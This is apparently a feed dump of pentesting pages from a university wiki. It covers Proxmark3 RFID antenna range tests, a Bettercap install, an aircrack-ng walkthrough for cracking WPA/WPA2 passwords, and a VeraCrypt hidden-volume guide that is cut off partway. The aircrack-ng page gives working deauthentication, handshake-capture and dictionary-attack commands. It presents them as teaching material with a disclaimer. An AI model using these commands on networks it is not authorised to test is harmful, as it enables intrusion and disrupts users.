The hf-antenna kit comes with two antennas that are advertised as medium- and long-range antennas. The store [https://lab401.com/products/proxmark-3-rdv4-long-range-hf-antenna-1 lab401] says the range of the default antenna is about 40-85mm, medium-range antenna about 90mm, and the long-range has a reach of 100-120mm. A small test of mine concludes that this statement is only partially true. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox hf normal.jpg|thumb|none|x300px|Default HF-Antenna]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox hf med.jpg|thumb|none|x300px|Medium-Range HF-Antenna]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox hf long.jpg|thumb|none|x300px|Long-Range HF-Antenna]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
I tested the range of 4 different cards:&lt;br /&gt;
&lt;br /&gt;
* Card 1: HF-Card shipped with the RDV4: NXP MIFARE CLASSIC 1k Gen1A S50&lt;br /&gt;
* Card 2: Student-Card: NXP MIFARE DESFire 4k &lt;br /&gt;
* Card 3: Portugal, Proto MetroCard:  Ultralight EV1 48bytes (MF0UL1101)&lt;br /&gt;
* Card 4: SkiData Card: EM-Marin SA (Skidata); EM4233&lt;br /&gt;
&lt;br /&gt;
 (!)  denotes that the readings were inconsistent:&lt;br /&gt;
      The card only got recognized from time to time&lt;br /&gt;
 (!!) denotes that the readings were &#039;&#039;&#039;very&#039;&#039;&#039; inconsistent:&lt;br /&gt;
      Only if lucky the card got recognized&lt;br /&gt;
 /    denotes that the card got not read at all&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; | Card&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; | Default-Antenna&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; | Medium-Range Antenna&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; | Long-Range Antenna&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; | Shipped HF-Card&lt;br /&gt;
| 8 cm&lt;br /&gt;
| (!!) 0 cm&lt;br /&gt;
| (!!) 2 cm&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; | Student-Card&lt;br /&gt;
| 5 cm &lt;br /&gt;
| (!) 0 cm &lt;br /&gt;
| (!) 7 cm&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; | Metro-Card&lt;br /&gt;
| 8 cm &lt;br /&gt;
| /&lt;br /&gt;
| (!) 11 cm&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; | SkiData-Card&lt;br /&gt;
| 7 cm &lt;br /&gt;
| 7 cm &lt;br /&gt;
| 11 cm&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The results show that the antenna reach depends heavily on the card trying to read. The most consistent results came from the default-antenna that ships with the RDV4. As shown, the optional antennas did cope with the NXP Mifare cards very poorly but show improvements for the SkiData card.&lt;br /&gt;
&lt;br /&gt;
=== Low-Frequency Antenna Kit ===&lt;br /&gt;
&lt;br /&gt;
Sadly I do not have any lf-cards on hand and could not test the range of the given antennas.&lt;br /&gt;
&lt;br /&gt;
The lf-antenna kit comes with two antennas that are advertised as medium- and long-range antennas. The store [https://lab401.com/products/proxmark-3-rdv4-01-long-range-lf-antenna-pack lab401] says the range of the default antenna is about 66 - 72mm, medium-range antenna about 90mm, and the long-range has a reach of 110 - 133mm. But as shown above, for the hf-antenna this depends heavily on the lf-card itself.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox lf med.jpg|thumb|none|x300px|Medium-Range LF-Antenna]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox lf long.jpg|thumb|none|x300px|Long-Range LF-Antenna]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Prox lf switch.jpg|thumb|none|300px|LF-Antenna Switch]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The optional antennas come with 2 switches: (source: [https://lab401.com/products/proxmark-3-rdv4-01-long-range-lf-antenna-pack lab401])&lt;br /&gt;
&lt;br /&gt;
; Q-Switch&lt;br /&gt;
: The Q-Switch has two settings: 14 (Extended Range) and 7 (Extended Accuracy).&lt;br /&gt;
:: Q-Switch setting of 14 will give up to 30% further read range (on lf search / lf hid read etc commands).&lt;br /&gt;
:: Q-Switch setting of 7 will give better writing performance on T55XX and EM410XX tags.&lt;br /&gt;
&lt;br /&gt;
; Frequency Switch&lt;br /&gt;
: The frequency switch allows for tuning to specific tag types: 125KHz or 134KHz.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Proxmark3 RDV4 Kit]]&lt;br /&gt;
&lt;br /&gt;
[[Proxmark3 RDV4.0 BT &amp;amp; Battery Addon Blue Shark]]&lt;br /&gt;
&lt;br /&gt;
[[Proxmark3 RDV4.0 HF Antennas]]&lt;br /&gt;
&lt;br /&gt;
[[Proxmark3 RDV4.0 LF Antennas]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.proxmark.com&lt;br /&gt;
* https://www.hackerwarehouse.com&lt;br /&gt;
* https://www.lab401.com&lt;br /&gt;
* https://github.com/RfidResearchGroup/proxmark3&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Install_Bettercap_on_Kali_Linux&amp;diff=14642</id>
		<title>Install Bettercap on Kali Linux</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Install_Bettercap_on_Kali_Linux&amp;diff=14642"/>
		<updated>2024-03-12T18:31:49Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation describes how to install bettercap 2.x on Kali Linux&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Kali Linux amd64 2019.2&lt;br /&gt;
* Packages: wget unzip &lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Download ===&lt;br /&gt;
&lt;br /&gt;
Download the latest version of bettecap:&lt;br /&gt;
&lt;br /&gt;
 wget &amp;quot;https://github.com`curl -s https://github.com/bettercap/bettercap/releases | grep -E -o &#039;/bettercap/bettercap/releases/download/v[0-9.]+/bettercap_linux_amd64_[0-9.]+zip&#039; | head -n 1`&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Installation &amp;amp; Testing ===&lt;br /&gt;
&lt;br /&gt;
Unzip and move the package:&lt;br /&gt;
&lt;br /&gt;
 unzip bettercap_linux_amd64_*.zip&lt;br /&gt;
 mv bettercap /usr/local/bin/&lt;br /&gt;
&lt;br /&gt;
Clean up &amp;amp; test package:&lt;br /&gt;
&lt;br /&gt;
 rm README.md LICENSE.md&lt;br /&gt;
 bettercap -version&lt;br /&gt;
&lt;br /&gt;
If the last command prints the bettercap version e.g.: &lt;br /&gt;
&lt;br /&gt;
[[File:installBettercap_01.png]]&lt;br /&gt;
&lt;br /&gt;
the installation was successful.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.bettercap.org/&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Aircrack-ng:_How_to_crack_WPA/WPA2_passwords&amp;diff=14641</id>
		<title>Aircrack-ng: How to crack WPA/WPA2 passwords</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Aircrack-ng:_How_to_crack_WPA/WPA2_passwords&amp;diff=14641"/>
		<updated>2024-03-12T18:28:45Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation is a step-by-step guide explaining how to use the aircrack-ng program suite to crack passwords of Wireless Access Points using WPA or WPA2. The guide is meant for usage on *NIX systems capable of installing and running aircrack-ng. Results are based on tests that were run on the Kali Linux custom image for VMware (Kali Linux 2020.4 64bit) wich is maintained and provided by Offensive Security [https://images.kali.org/virtual-images/kali-linux-2020.4-vmware-amd64.7z]. The used client software was VMware Workstation Pro 16.1.0 build-17198959 and the used host system was Windows 10 Home Edition (64 bit).   &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Kali Linux&lt;br /&gt;
* Packages: aicrack-ng program suite&lt;br /&gt;
&lt;br /&gt;
If you want to install aircrack-ng from source, click here [https://www.aircrack-ng.org/doku.php?id=install_aircrack] to access the official documentation.&lt;br /&gt;
&lt;br /&gt;
On the image that was used (Kali Linux 2020.4 64bit for VMware by Offensive Security), the aicrack-ng program suite is already preinstalled. Just type &#039;&#039;&#039;sudo aircrack-ng&#039;&#039;&#039; in the shell to get an overview of available options. You will only need a few specific programs and options for cracking WPA/WPA2 PSK, which are explained in the following sections.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
If you want to learn more about the inner workings of aicrack-ng&#039;s WPA/WPA2 PSK cracking, you can read more on the section about [[Password Cracking]].&lt;br /&gt;
&lt;br /&gt;
Before we get down to the nitty-gritty, there is some information that has to be known to be able to &amp;quot;get cracking&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
What we need:&lt;br /&gt;
&lt;br /&gt;
  MAC address of machine running aircrack-ng suite&lt;br /&gt;
  MAC address of wireless client using WPA/WPA2&lt;br /&gt;
  BSSID (MAC address of victim access point)&lt;br /&gt;
  ESSID (Wireless network name)&lt;br /&gt;
  Access point channel number&lt;br /&gt;
  Wireless interface name&lt;br /&gt;
&lt;br /&gt;
We need all of this to fill out the necessary portions of the following commands.&lt;br /&gt;
&lt;br /&gt;
The guide itself was summarized from official documentation [https://www.aircrack-ng.org/doku.php?id=cracking_wpa] and tested in my home network.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer: The following guide must not be used on networks without permission. Doing so is illegal and can result in criminal charges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== How to use aircrack-ng for cracking ===&lt;br /&gt;
&lt;br /&gt;
  1. Start the wireless interface in monitor mode on the specific AP channel&lt;br /&gt;
  2. Start airodump-ng on AP channel with filter for bssid to collect authentication handshake&lt;br /&gt;
  3. Use aireplay-ng to deauthenticate the wireless client&lt;br /&gt;
  4. Run aircrack-ng to crack the pre-shared key using the authentication handshake&lt;br /&gt;
&lt;br /&gt;
=== Used Hardware ===&lt;br /&gt;
&lt;br /&gt;
Before we start, there is one thing more that needs to be addressed. To be able to capture and inject packets, it is neccessary to put the network interface card (NIC) of the machine running the aircrack-ng program suite into so called &amp;quot;promiscuous mode&amp;quot;. In general, NICs do not use this mode, as they do not need to read packets that are not addressed to them. Since we are trying to do something &amp;quot;out of the ordinary&amp;quot; here (e.g. capture all network traffic and inject our own packets) we can only succeed if our NIC knows that it should do exactly that.&lt;br /&gt;
&lt;br /&gt;
This can be done by either manually updating the drivers [https://www.aircrack-ng.org/doku.php?id=patching], which can be quite cumbersome, or by buying a Wireless USB Adapter using a chipset that is supported by the machine running the aircrack-ng suite. In our special case, we do not even have the freedom of doing our own dirty work - according to Kali Linux official documentation regarding virtual machines, we are forced to use an adapter, as patching only works in a native environment.&lt;br /&gt;
&lt;br /&gt;
The problem is that a lot of products are available who promise to do what we want, but not a lot of them actually work. Oftentimes, chipsets are not compatible with Kali Linux, which would make the device unusable for our purposes. For this specific documentation, the USB Wireless Adapter &amp;quot;Panda Wireless PAU05&amp;quot; for 802.11n was used, and the product version was 2.6.15. If you use this device, you should be fine - but only in 2.4 Ghz range. Also, high digit channels like 111 are not supported. Sorry!&lt;br /&gt;
&lt;br /&gt;
If you want to be 100% sure if your device is up to the job, you can manually test injection capabilities by entering the following commmand in the shell:&lt;br /&gt;
&lt;br /&gt;
  &#039;&#039;&#039;sudo aireplay-ng -9 -e &amp;lt;ESSID&amp;gt; -a &amp;lt;BSSID&amp;gt; &amp;lt;interface&amp;gt;&#039;&#039;&#039;&lt;br /&gt;
    -9 means injection test&lt;br /&gt;
    -e is the wireless network name that is shown (ESSID)&lt;br /&gt;
    -a is the MAC address of the victim access point (BSSID)&lt;br /&gt;
    &amp;lt;interface&amp;gt; is the wireless interface name from the machine you are running aircrack-ng on&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
&lt;br /&gt;
Use airmon-ng to disable the network-manager service and prevent it from overwriting our settings, and to start capturing traffic on the channel used by the victim AP.&lt;br /&gt;
  &lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
  &#039;&#039;&#039;sudo airmon-ng check kill&#039;&#039;&#039;&lt;br /&gt;
  &#039;&#039;&#039;sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
Start airodump-ng on the AP channel to collect the 4-way-handshake (only occurs when a client connects to the AP)&lt;br /&gt;
&lt;br /&gt;
Enter this command in the shell&lt;br /&gt;
&lt;br /&gt;
  &#039;&#039;&#039;sudo airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;BSSID&amp;gt; -w psk &amp;lt;interface&amp;gt;&#039;&#039;&#039;&lt;br /&gt;
    -c is the number of the channel used by the wireless access point&lt;br /&gt;
    --bssid is the MAC address of the victim access point. This eliminates extraneous traffic.&lt;br /&gt;
    -w psk is the file name prefix for the file which will contain the IVs. Captured files are saved automatically to the folder you run aircrack-ng from.&lt;br /&gt;
    &amp;lt;interface&amp;gt; is the interface name.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 ===&lt;br /&gt;
&lt;br /&gt;
Use aireplay-ng to deauthenticate AP client. You need this to force it to reconnect if it was already connected to the AP when you started capturing traffic. You need the 4-way-handshake for cracking, and if you do not deauthenticate the client by force (through packet injection) you will have to wait until it disconnects and reconnects again, which can take a long time, or maybe will not happen at all. This is why you need a NIC or Adapter that is capable of packet injection.&lt;br /&gt;
&lt;br /&gt;
Enter this command in the shell&lt;br /&gt;
&lt;br /&gt;
  &#039;&#039;&#039;sudo aireplay-ng -0 1 -a &amp;lt;BSSID&amp;gt; -c &amp;lt;client&amp;gt; &amp;lt;interface&amp;gt;&#039;&#039;&#039;&lt;br /&gt;
    -0 means deauthentication&lt;br /&gt;
    1 is the number of deauths to send (you can send multiple if you wish)&lt;br /&gt;
    -a is the MAC address of the victim access point&lt;br /&gt;
    -c is the MAC address of the wireless client you are deauthing&lt;br /&gt;
    &amp;lt;interface&amp;gt; is the interface name&lt;br /&gt;
&lt;br /&gt;
=== Step 4 ===&lt;br /&gt;
&lt;br /&gt;
Run aircrack-ng to start a dictionary attack on the PCAP file (the file containing all the captured packets).&lt;br /&gt;
&lt;br /&gt;
Enter this command in the shell&lt;br /&gt;
&lt;br /&gt;
  &#039;&#039;&#039;sudo aircrack-ng -w /link/to/passwordlist -b &amp;lt;BSSID&amp;gt; psk*.cap&#039;&#039;&#039;&lt;br /&gt;
    -w is the full path to the dictionary file used for cracking. You don&#039;t need to specify full path if the file is located in the same directory.&lt;br /&gt;
    *.cap is the extension of files containing captured packets. Through usind the wildcard * all files are included that have the *.psk ending.&lt;br /&gt;
&lt;br /&gt;
Important: You need to use a dictionary attack to be able to crack WPA/WPA2 passwords. Brute forcing does not work. Cracking WPA/WPA2 passwords after getting the 4-way-handshake will only work if the password is in the list. If the victim AP makes use of a randomly generated password of a certain (large) size, our chances of getting the password will be next to nil. So always choose a robust password for your own setup, to make evil hackers lifes miserable!&lt;br /&gt;
&lt;br /&gt;
== Other Guides ==&lt;br /&gt;
&lt;br /&gt;
* Getting started with aircrack-ng [https://null-byte.wonderhowto.com/how-to/hack-wi-fi-getting-started-with-aircrack-ng-suite-wi-fi-hacking-tools-0147893/] (2013)&lt;br /&gt;
* Setting up Kali Linux on Raspberry Pi [https://null-byte.wonderhowto.com/how-to/set-up-headless-raspberry-pi-hacking-platform-running-kali-linux-0176182/] (2017)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://images.kali.org/virtual-images/kali-linux-2020.4-vmware-amd64.7z&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=install_aircrack&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=patching&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_VeraCrypt&amp;diff=14640</id>
		<title>Block Device Encryption - VeraCrypt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_VeraCrypt&amp;diff=14640"/>
		<updated>2024-03-12T18:28:07Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This document describes how to create, mount and dismount a virtual encrypted disk with hidden container using VeraCrypt for Linux from the terminal.&lt;br /&gt;
&lt;br /&gt;
== TL;DR ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Install (https://www.veracrypt.fr/en/Downloads.html)&lt;br /&gt;
sudo dpkg -i $DEB_PACKAGE&lt;br /&gt;
&lt;br /&gt;
# Create encrypted volume (interactive)&lt;br /&gt;
veracrypt -c&lt;br /&gt;
# Mount encrypted volume (interactive)&lt;br /&gt;
veracrypt $ENC_FILE $MOUNT_POINT&lt;br /&gt;
# List mounted volumes&lt;br /&gt;
veracrypt -l&lt;br /&gt;
# Unmount a specific Veracrypt volumes&lt;br /&gt;
veracrypt -d $ENC_FILE&lt;br /&gt;
# Unmount all Veracrypt volumes&lt;br /&gt;
veracrypt -d&lt;br /&gt;
&lt;br /&gt;
# USE IT.&lt;br /&gt;
veracrypt -h&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
&lt;br /&gt;
* Linux-based Operating System (Here: Ubuntu 20.04 LTS)&lt;br /&gt;
* VeraCrypt Console (Installation notes below) (Here: VeraCrypt 1.24-update7)&lt;br /&gt;
&lt;br /&gt;
=== Install pre-build binary ===&lt;br /&gt;
&lt;br /&gt;
This section downloads the the veracrypt package, verify its integrity and finally installs it. Get the download link for the appropriate System from &amp;lt;code&amp;gt;https://www.veracrypt.fr/en/Downloads.html&amp;lt;/code&amp;gt; and copy the download link to the variable in the variable &amp;lt;code&amp;gt;DEB_PACKAGE_HREF&amp;lt;/code&amp;gt;. For all unsupported Linux-based OS, proceed to the next section &amp;amp;quot;build from source&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# CHANGE THIS VARIABLE TO THE DESIRED VERSION AND DISTRO&lt;br /&gt;
# Here: VeraCrypt Console 1.24u7 for Ubuntu 20.04 (amd64)&lt;br /&gt;
DEB_PACKAGE_HREF=&amp;quot;https://launchpad.net/veracrypt/trunk/1.24-update7/+download/veracrypt-console-1.24-Update7-Ubuntu-20.04-amd64.deb&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Helper variables used in the following for a better overview&lt;br /&gt;
# Simply copy paste this block to the terminal&lt;br /&gt;
SIG_DEB_PACKAGE_HREF=$DEB_PACKAGE_HREF&amp;quot;.sig&amp;quot;&lt;br /&gt;
PGP_PUBLIC_KEY_HREF=&amp;quot;https://www.idrix.fr/VeraCrypt/VeraCrypt_PGP_public_key.asc&amp;quot;&lt;br /&gt;
# Reference to the local file names&lt;br /&gt;
LOCAL_PATH=&amp;quot;/var/tmp/&amp;quot;&lt;br /&gt;
DEB_PACKAGE=$LOCAL_PATH${DEB_PACKAGE_HREF##*/}&lt;br /&gt;
SIG_DEB_PACKAGE=$LOCAL_PATH${SIG_DEB_PACKAGE_HREF##*/}&lt;br /&gt;
PGP_PUBLIC_KEY=$LOCAL_PATH${PGP_PUBLIC_KEY_HREF##*/}&lt;br /&gt;
# VeraCrypt PGP public key RSA fingerprint &lt;br /&gt;
FINGERPRINT=&amp;quot;5069A233D55A0EEB174A5FC3821ACD02680D16DE&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Download the necessary files&lt;br /&gt;
wget $DEB_PACKAGE_HREF -O $DEB_PACKAGE&lt;br /&gt;
wget $SIG_DEB_PACKAGE_HREF -O $SIG_DEB_PACKAGE&lt;br /&gt;
wget $PGP_PUBLIC_KEY_HREF -O $PGP_PUBLIC_KEY&lt;br /&gt;
&lt;br /&gt;
# Verify PGP Signature&lt;br /&gt;
gpg --import --import-options show-only $PGP_PUBLIC_KEY | grep $FINGERPRINT&lt;br /&gt;
# Only continue if the $PGP_PUBLIC_KEY matches the static $FINGERPRINT. &lt;br /&gt;
# Else, someone tries to trick you.&lt;br /&gt;
gpg --import $PGP_PUBLIC_KEY&lt;br /&gt;
gpg --verify $SIG_DEB_PACKAGE $DEB_PACKAGE&lt;br /&gt;
# Only continue if the $SIG_DEB_PACKAGE verfies the $DEB_PACKAGE&#039;s integrity&lt;br /&gt;
&lt;br /&gt;
# Install the veracrypt package&lt;br /&gt;
sudo dpkg -i $DEB_PACKAGE&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
=== Build from source ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Required packages (Adapt to the OS specific package manager)&lt;br /&gt;
sudo apt update &amp;amp;&amp;amp; sudo apt install yasm make gcc pkg-config fuse libfuse-dev&lt;br /&gt;
&lt;br /&gt;
# Download source code&lt;br /&gt;
git clone https://github.com/veracrypt/VeraCrypt /var/tmp/VeraCrypt&lt;br /&gt;
# Won&#039;t build without this library eventhough the NOGUI bit is set&lt;br /&gt;
git clone https://github.com/wxWidgets/wxWidgets /var/tmp/VeraCrypt/src/wxWidgets&lt;br /&gt;
git -C /var/tmp/VeraCrypt/src/wxWidgets/ submodule update --init 3rdparty/catch&lt;br /&gt;
&lt;br /&gt;
# Build and link&lt;br /&gt;
make WXSTATIC=1 WX_ROOT=/var/tmp/VeraCrypt/src/wxWidgets/ wxbuild -C /var/tmp/VeraCrypt/src/&lt;br /&gt;
make WXSTATIC=1 -C /var/tmp/VeraCrypt/src/&lt;br /&gt;
sudo mv /var/tmp/VeraCrypt/src/Main/varacrypt /usr/bin/&lt;br /&gt;
&lt;br /&gt;
# Test&lt;br /&gt;
veracrypt --version# Here: VeraCrypt 1.24-Update7&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== Procedure ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;VeraCrypt 1.24 Parameters&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;: &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Volume types&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] Normal [&#039;&#039;&#039;2&#039;&#039;&#039;] Hidden&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encryption Algorithms&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] AES [&#039;&#039;&#039;2&#039;&#039;&#039;] Serpent [&#039;&#039;&#039;3&#039;&#039;&#039;] Twofish [&#039;&#039;&#039;4&#039;&#039;&#039;] Camellia [&#039;&#039;&#039;5&#039;&#039;&#039;] Kuznyechik [&#039;&#039;&#039;6&#039;&#039;&#039;] AES(Twofish) [&#039;&#039;&#039;7&#039;&#039;&#039;] AES(Twofish(Serpent)) [&#039;&#039;&#039;8&#039;&#039;&#039;] Camellia(Kuznyechik) [&#039;&#039;&#039;9&#039;&#039;&#039;] Camellia(Serpent) [&#039;&#039;&#039;10&#039;&#039;&#039;] Kuznyechik(AES) [&#039;&#039;&#039;11&#039;&#039;&#039;] Kuznyechik(Serpent(Camellia)) [&#039;&#039;&#039;12&#039;&#039;&#039;] Kuznyechik(Twofish) [&#039;&#039;&#039;13&#039;&#039;&#039;] Serpent(AES) [&#039;&#039;&#039;14&#039;&#039;&#039;] Serpent(Twofish(AES)) [&#039;&#039;&#039;15&#039;&#039;&#039;] Twofish(Serpent)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Hash Algorithms&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] SHA-512 [&#039;&#039;&#039;2&#039;&#039;&#039;] Whirlpool [&#039;&#039;&#039;3&#039;&#039;&#039;] SHA-256 [&#039;&#039;&#039;4&#039;&#039;&#039;] Streebog&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filesystems&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] None [&#039;&#039;&#039;2&#039;&#039;&#039;] FAT [&#039;&#039;&#039;3&#039;&#039;&#039;] Linux Ext2 [&#039;&#039;&#039;4&#039;&#039;&#039;] Linux Ext3 [&#039;&#039;&#039;5&#039;&#039;&#039;] Linux Ext4 [&#039;&#039;&#039;6&#039;&#039;&#039;] NTFS [&#039;&#039;&#039;7&#039;&#039;&#039;] exFAT [&#039;&#039;&#039;8&#039;&#039;&#039;] Btrfs&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Create outter container ===&lt;br /&gt;
&lt;br /&gt;
The outter container will be configured using a basic &amp;lt;code&amp;gt;{AES, SHA256, Password}&amp;lt;/code&amp;gt; configuration and size of 25MB, for the sake of an example. Any parameters may be adapted as needed while using the &amp;lt;code&amp;gt;-c&amp;lt;/code&amp;gt; flag, and are elaborated sufficiently in the interactive prompt. The &amp;lt;code&amp;gt;-h&amp;lt;/code&amp;gt; flag may be used to access the help for further information. Note that Veracrypt volume sizes are indicated in KiB, MiB, GiB or TiB.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt -c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Volume type: 1&lt;br /&gt;
Volume path: FILENAME.hc&lt;br /&gt;
Volume size (sizeK/size[M]/sizeG): 24414K&lt;br /&gt;
Encryption Algorithm: 1&lt;br /&gt;
Hash algorithm: 3&lt;br /&gt;
Filesystem: 2&lt;br /&gt;
Password: OUTTER_PW&lt;br /&gt;
PIM: [ENTER]&lt;br /&gt;
Enter keyfile path [none]: [ENTER]&lt;br /&gt;
Type at least 320 randomly chosen characters and then press Enter: [ENTER]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add hidden container ===&lt;br /&gt;
&lt;br /&gt;
After creating the outter container, an inner hidden container can be added. The hidden container will be configured using s sophisticated &amp;lt;code&amp;gt;{AES(Twofish), SHA512, {Password, custom PIM, Keyfile}}&amp;lt;/code&amp;gt; configuration and size of 5MB, for the sake of an example. Note that Veracrypt volume sizes are indicated in KiB, MiB, GiB or TiB.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;$ veracrypt -c&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Volume type: 2&lt;br /&gt;
Volume path: FILENAME.hc&lt;br /&gt;
Hidden volume size (sizeK/size[M]/sizeG): 3883K&lt;br /&gt;
Encryption Algorithm: 6&lt;br /&gt;
Hash algorithm: 1&lt;br /&gt;
Filesystem: 2&lt;br /&gt;
Password: HIDDEN_PW&lt;br /&gt;
PIM: 50000&lt;br /&gt;
